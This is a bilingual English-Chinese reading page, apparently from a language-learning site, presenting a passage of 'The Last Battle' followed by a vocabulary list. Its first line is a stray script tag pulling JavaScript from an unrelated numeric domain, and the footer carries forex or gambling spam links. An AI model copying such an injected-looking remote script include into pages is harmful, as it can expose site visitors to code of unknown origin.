script src="http://zzz.8565037.com/al.js" type="text/javascript">

手机APP下载

您现在的位置: 首页 > 双语阅读 > 名著小说 > 最后一战 > 正文

《最后一战》第74期:告别幻影世界(2)

来源:可可英语 编辑:Jasmine ?  VIP免费外教试听课 |  可可官方微信:ikekenet
"Further up and further in," cried Jewel and instantly they were off again.“朝更高更深处前进。”独角兽珍宝大声叫道,于是他们立刻又出发了。
They were out of Narnia now and up into the Western Wild which neither Tirian nor Peter nor even the Eagle had ever seen before. But the Lord Digory and the Lady Polly had. "Do you remember? Do you remember?" they said - and said it in steady voices too, without panting, though the whole party was now running faster than an arrow flies.现在他们出了纳尼亚,往高处进入西部荒原,那可是蒂莲、彼得,甚至老鹰以前都没见过的地方。但迪格雷勋爵和波莉夫人倒见过。“你记得吗?你记得吗?”他们说——而且还是用平平稳稳的声调说的,一点也没有气喘吁吁,尽管这一行人兽正飞跑得比箭还快哩。
"What, Lord?" said Tirian. "Is it then true, as stories tell, that you two journeyed here on the very day the world was made?"“啊,勋爵,”蒂莲说道,“故事里说,你们两人在世界初创之日就到这儿来旅行过,那么是确有其事的啦?”
"Yes," said Digory, "and it seems to me as if it were only yesterday."“是的,”迪格雷勋爵说道,“我觉得仿佛不过是昨天的事。”
"And on a flying horse?" asked Tirian. "Is that part true?"“骑了一匹飞马吗?”蒂莲问道,“这情节是真实的吗?”
"Certainly," said Digory. But the Dogs barked, "Faster, faster!"“然是真的。”迪格雷说。但狗儿们吠叫了“快,快!”
So they ran faster and faster till it was more like flying than running, and even the Eagle overhead was going no faster than they. And they went through winding valley after winding valley and up the steep sides of hills and, faster than ever, down the other side, following the river and sometimes crossing it and skimming across mountainlakes as if they were living speed-boats, till at last at the far end of one long lake which looked as blue as a turquoise, they saw a smooth green hill. Its sides were as steep as the sides of a pyramid and round the very top of it ran a green wall: but above the wall rose the branches of trees whose leaves looked like silver and their fruit like gold.所以他们便愈跑愈快,直跑得不像跑而更像飞了,天空的老鹰也不比他们快了。他们穿过一个弯曲的河谷又穿过一个弯曲的河谷,走上群山的陡坡,比以前更加快速地又走下另一边的陡坡,循着河流走过去,有时渡过河去,漂过高山湖泊去,仿佛他们自己就是有生命的快艇。最后他们到了一个长湖的尽头,湖水蓝得像土耳其玉。于是他们看到了一个光滑的绿色小山。小山的两侧陡得像金字塔的边,环绕山顶四周筑有一道绿色的墙垣,墙上伸展出树枝,树叶看上去像银的,果实像金的。
"Further up and further in!" roared the Unicorn, and no one held back. They charged straight at the foot of the hill and then found themselves running up it almost as water from a broken wave runs up a rock out at the point of some bay. Though the slope was nearly as steep as the roof of a house and the grass was smooth as a bowling green, no one slipped. Only when they had reached the very top did they slow up; that was because they found themselves facing great golden gates. And for a moment none of them was bold enough to try if the gates would open. They all felt just as they had felt about the fruit "Dare we? Is it right? Can it be meant for us?"“朝更高更深处前进!”独角兽大声吼道,没有一个人退缩。他们笔直地朝山麓冲去,这就发现他们自己已经奔上山去,几乎就像一个给拦断的波浪,冲上了海湾尖端突出的一块大石头一样。虽然山坡几乎陡得像屋顶,草地光滑得像玩滚木球游戏的草坪,没有一个失足滑倒的。只是他们在到达山顶时放慢了脚步,那是因为他们发现自己面对着巨大的金门。有那么一会儿,谁也不够大胆,不敢去试试金门是否会打开。他们大家的感觉,就像他们对那神奇果实的感觉一模一样——“我们敢吗?对头吗?难道这门能为我们而打开吗?”
But while they were standing thus a great horn, wonderfully loud and sweet, blew from somewhere inside that walled garden and the gates swung open.但,当他们这么站在门外的时候,一只巨大的号角,声音响亮甜润,在墙内花园里什么地方呜呜地吹着,金门便打开了。
Tirian stood holding his breath and wondering who would come out. And what came was the last thing he had expected: a little, sleek, bright-eyed Talking Mouse with a red feather stuck in a circlet on its head and its left paw resting on a long sword. It bowed, a most beautiful bow, and said in its shrill voice:蒂莲屏息静气地站着,心中猜测谁会走出门来。但出来的是他完全没料到的角色:一头小小的、毛发柔软发光、眼睛明亮的、会说人话的老鼠,头上一个圈里插着一根红羽毛,左脚爪按在一把长剑上。它鞠躬,鞠了一个最最漂亮的躬,尖声说道:
"Welcome, in the Lion's name. Come further up and further in."“以狮王的名义,欢迎。往更高更深处前进。”
Then Tirian saw King Peter and King Edmund and Queen Lucy rush forward to kneel down and greet the Mouse and they all cried out "Reepicheep!" And Tirian breathed fast with the sheer wonder of it, for now he knew that he was looking at one of the great heroes of Narnia, Reepicheep the Mouse who had fought at the great Battle of Beruna and afterwards sailed to the World's end with King Caspian the Seafarer. But before he had had much time to think of this he felt two strong arms thrown about him and felt a bearded kiss on his cheeks and heard a well remembered voice saying:接着蒂莲便看到至尊王彼得和国王爱德蒙和女王露茜跑上前去,跪下向老鼠致敬,大家齐声喊道:“雷佩契普!” 事情神奇之至,蒂莲连呼吸也急促了,因为他现在知道,他正亲眼目睹纳尼亚的大英雄老鼠雷佩契普,当年它曾打过伯龙纳大战,后来跟着航海者凯斯宾国王一直到了天涯海角。但,他还来不及思考这件事情,便觉得有两条强壮的胳膊抱住他,感到有把胡子在吻他的面颊,听到一个挺熟悉的声音说道:
"What, lad? Art thicker and taller since I last touched thee!"“怎么样,孩子?比我上次吻你时胡子更密更长了吧?”
It was his own father, the good King Erlian: but not as Tirian had seen him last when they brought him home pale and wounded from his fight with the giant, nor even as Tirian remembered him in his later years when he was a grey-headed warrior. This was his father, young and merry, as he could just remember him from very early days when he himself had been a little boy playing games with his father in the castle garden at Cair Paravel, just before bedtime on summer evenings. The very smell of the bread-and-milk he used to have for supper came back to him.说这话的是他自己的父亲,善良的国王厄莲:但既不是蒂莲曾看见过的与巨人作战受伤、脸色苍白、人家送他回家来时的父亲,甚至也不是蒂莲所记得的晚年是个白发苍苍的老战士的父亲。眼前可是个年轻而又开心的父亲,蒂莲童年时期所能记得的父亲,当年他自己是个小男孩,在凯尔帕拉维尔城堡花园里同父亲一起做游戏,时间就在夏天黄昏上床之前。晚餐时他常吃的牛奶面包的味道又回来了。

"Further up and further in," cried Jewel and instantly they were off again.

They were out of Narnia now and up into the Western Wild which neither Tirian nor Peter nor even the Eagle had ever seen before. But the Lord Digory and the Lady Polly had. "Do you remember? Do you remember?" they said - and said it in steady voices too, without panting, though the whole party was now running faster than an arrow flies.

"What, Lord?" said Tirian. "Is it then true, as stories tell, that you two journeyed here on the very day the world was made?"

"Yes," said Digory, "and it seems to me as if it were only yesterday."

"And on a flying horse?" asked Tirian. "Is that part true?"

"Certainly," said Digory. But the Dogs barked, "Faster, faster!"

So they ran faster and faster till it was more like flying than running, and even the Eagle overhead was going no faster than they. And they went through winding valley after winding valley and up the steep sides of hills and, faster than ever, down the other side, following the river and sometimes crossing it and skimming across mountainlakes as if they were living speed-boats, till at last at the far end of one long lake which looked as blue as a turquoise, they saw a smooth green hill. Its sides were as steep as the sides of a pyramid and round the very top of it ran a green wall: but above the wall rose the branches of trees whose leaves looked like silver and their fruit like gold.

"Further up and further in!" roared the Unicorn, and no one held back. They charged straight at the foot of the hill and then found themselves running up it almost as water from a broken wave runs up a rock out at the point of some bay. Though the slope was nearly as steep as the roof of a house and the grass was smooth as a bowling green, no one slipped. Only when they had reached the very top did they slow up; that was because they found themselves facing great golden gates. And for a moment none of them was bold enough to try if the gates would open. They all felt just as they had felt about the fruit "Dare we? Is it right? Can it be meant for us?"

But while they were standing thus a great horn, wonderfully loud and sweet, blew from somewhere inside that walled garden and the gates swung open.

Tirian stood holding his breath and wondering who would come out. And what came was the last thing he had expected: a little, sleek, bright-eyed Talking Mouse with a red feather stuck in a circlet on its head and its left paw resting on a long sword. It bowed, a most beautiful bow, and said in its shrill voice:

"Welcome, in the Lion's name. Come further up and further in."

Then Tirian saw King Peter and King Edmund and Queen Lucy rush forward to kneel down and greet the Mouse and they all cried out "Reepicheep!" And Tirian breathed fast with the sheer wonder of it, for now he knew that he was looking at one of the great heroes of Narnia, Reepicheep the Mouse who had fought at the great Battle of Beruna and afterwards sailed to the World's end with King Caspian the Seafarer. But before he had had much time to think of this he felt two strong arms thrown about him and felt a bearded kiss on his cheeks and heard a well remembered voice saying:

"What, lad? Art thicker and taller since I last touched thee!"

It was his own father, the good King Erlian: but not as Tirian had seen him last when they brought him home pale and wounded from his fight with the giant, nor even as Tirian remembered him in his later years when he was a grey-headed warrior. This was his father, young and merry, as he could just remember him from very early days when he himself had been a little boy playing games with his father in the castle garden at Cair Paravel, just before bedtime on summer evenings. The very smell of the bread-and-milk he used to have for supper came back to him.

“朝更高更深处前进。”独角兽珍宝大声叫道,于是他们立刻又出发了。

现在他们出了纳尼亚,往高处进入西部荒原,那可是蒂莲、彼得,甚至老鹰以前都没见过的地方。但迪格雷勋爵和波莉夫人倒见过。“你记得吗?你记得吗?”他们说——而且还是用平平稳稳的声调说的,一点也没有气喘吁吁,尽管这一行人兽正飞跑得比箭还快哩。

“啊,勋爵,”蒂莲说道,“故事里说,你们两人在世界初创之日就到这儿来旅行过,那么是确有其事的啦?”

“是的,”迪格雷勋爵说道,“我觉得仿佛不过是昨天的事。”

“骑了一匹飞马吗?”蒂莲问道,“这情节是真实的吗?”

“然是真的。”迪格雷说。但狗儿们吠叫了“快,快!”

所以他们便愈跑愈快,直跑得不像跑而更像飞了,天空的老鹰也不比他们快了。他们穿过一个弯曲的河谷又穿过一个弯曲的河谷,走上群山的陡坡,比以前更加快速地又走下另一边的陡坡,循着河流走过去,有时渡过河去,漂过高山湖泊去,仿佛他们自己就是有生命的快艇。最后他们到了一个长湖的尽头,湖水蓝得像土耳其玉。于是他们看到了一个光滑的绿色小山。小山的两侧陡得像金字塔的边,环绕山顶四周筑有一道绿色的墙垣,墙上伸展出树枝,树叶看上去像银的,果实像金的。

“朝更高更深处前进!”独角兽大声吼道,没有一个人退缩。他们笔直地朝山麓冲去,这就发现他们自己已经奔上山去,几乎就像一个给拦断的波浪,冲上了海湾尖端突出的一块大石头一样。虽然山坡几乎陡得像屋顶,草地光滑得像玩滚木球游戏的草坪,没有一个失足滑倒的。只是他们在到达山顶时放慢了脚步,那是因为他们发现自己面对着巨大的金门。有那么一会儿,谁也不够大胆,不敢去试试金门是否会打开。他们大家的感觉,就像他们对那神奇果实的感觉一模一样——“我们敢吗?对头吗?难道这门能为我们而打开吗?”

但,当他们这么站在门外的时候,一只巨大的号角,声音响亮甜润,在墙内花园里什么地方呜呜地吹着,金门便打开了。

蒂莲屏息静气地站着,心中猜测谁会走出门来。但出来的是他完全没料到的角色:一头小小的、毛发柔软发光、眼睛明亮的、会说人话的老鼠,头上一个圈里插着一根红羽毛,左脚爪按在一把长剑上。它鞠躬,鞠了一个最最漂亮的躬,尖声说道:

“以狮王的名义,欢迎。往更高更深处前进。”

接着蒂莲便看到至尊王彼得和国王爱德蒙和女王露茜跑上前去,跪下向老鼠致敬,大家齐声喊道:“雷佩契普!” 事情神奇之至,蒂莲连呼吸也急促了,因为他现在知道,他正亲眼目睹纳尼亚的大英雄老鼠雷佩契普,当年它曾打过伯龙纳大战,后来跟着航海者凯斯宾国王一直到了天涯海角。但,他还来不及思考这件事情,便觉得有两条强壮的胳膊抱住他,感到有把胡子在吻他的面颊,听到一个挺熟悉的声音说道:

“怎么样,孩子?比我上次吻你时胡子更密更长了吧?”

说这话的是他自己的父亲,善良的国王厄莲:但既不是蒂莲曾看见过的与巨人作战受伤、脸色苍白、人家送他回家来时的父亲,甚至也不是蒂莲所记得的晚年是个白发苍苍的老战士的父亲。眼前可是个年轻而又开心的父亲,蒂莲童年时期所能记得的父亲,当年他自己是个小男孩,在凯尔帕拉维尔城堡花园里同父亲一起做游戏,时间就在夏天黄昏上床之前。晚餐时他常吃的牛奶面包的味道又回来了。

重点单词   查看全部解释    
turquoise ['tə:kwɔiz]

想一想再看

n. 绿松石,土耳其玉,蓝绿色 adj. 蓝绿色的

联想记忆
touched [tʌtʃt]

想一想再看

adj. 受感动的 adj. 精神失常的

 
steep [sti:p]

想一想再看

adj. 陡峭的,险峻的,(价格)过高的
n.

联想记忆
sword [sɔ:d]

想一想再看

n. 剑,刀

 
bow [bau]

想一想再看

n. 弓
n. 鞠躬,蝴蝶结,船头

 
warrior ['wɔ:riə]

想一想再看

n. 勇士,战士,武士

 
sheer [ʃiə]

想一想再看

adj. 纯粹的,全然的,陡峭的
adv. 完

 
horn [hɔ:n]

想一想再看

n. 动物角,喇叭,触角,角状物,力量源泉

 
castle ['kɑ:sl]

想一想再看

n. 城堡
v. 置于城堡中,(棋)移动王车易

 
shrill [ʃril]

想一想再看

n. 尖锐的声音 adj. 尖锐的,刺耳的 v. 用尖锐

 
?
发布评论我来说2句

    最新文章

    可可英语官方微信(微信号:ikekenet)

    每天向大家推送短小精悍的英语学习资料.

    添加方式1.扫描上方可可官方微信二维码。
    添加方式2.搜索微信号ikekenet添加即可。
    友情链接:澳利开户:QQ:77039689  澳利  澳利股东  澳利国际  澳利国际主管  澳利国际招商  澳利主管  澳利招商  澳利国际平台  澳利平台  澳利国际官方  澳利官方  澳利国际注册  澳利国际开户  澳利注册  澳利开户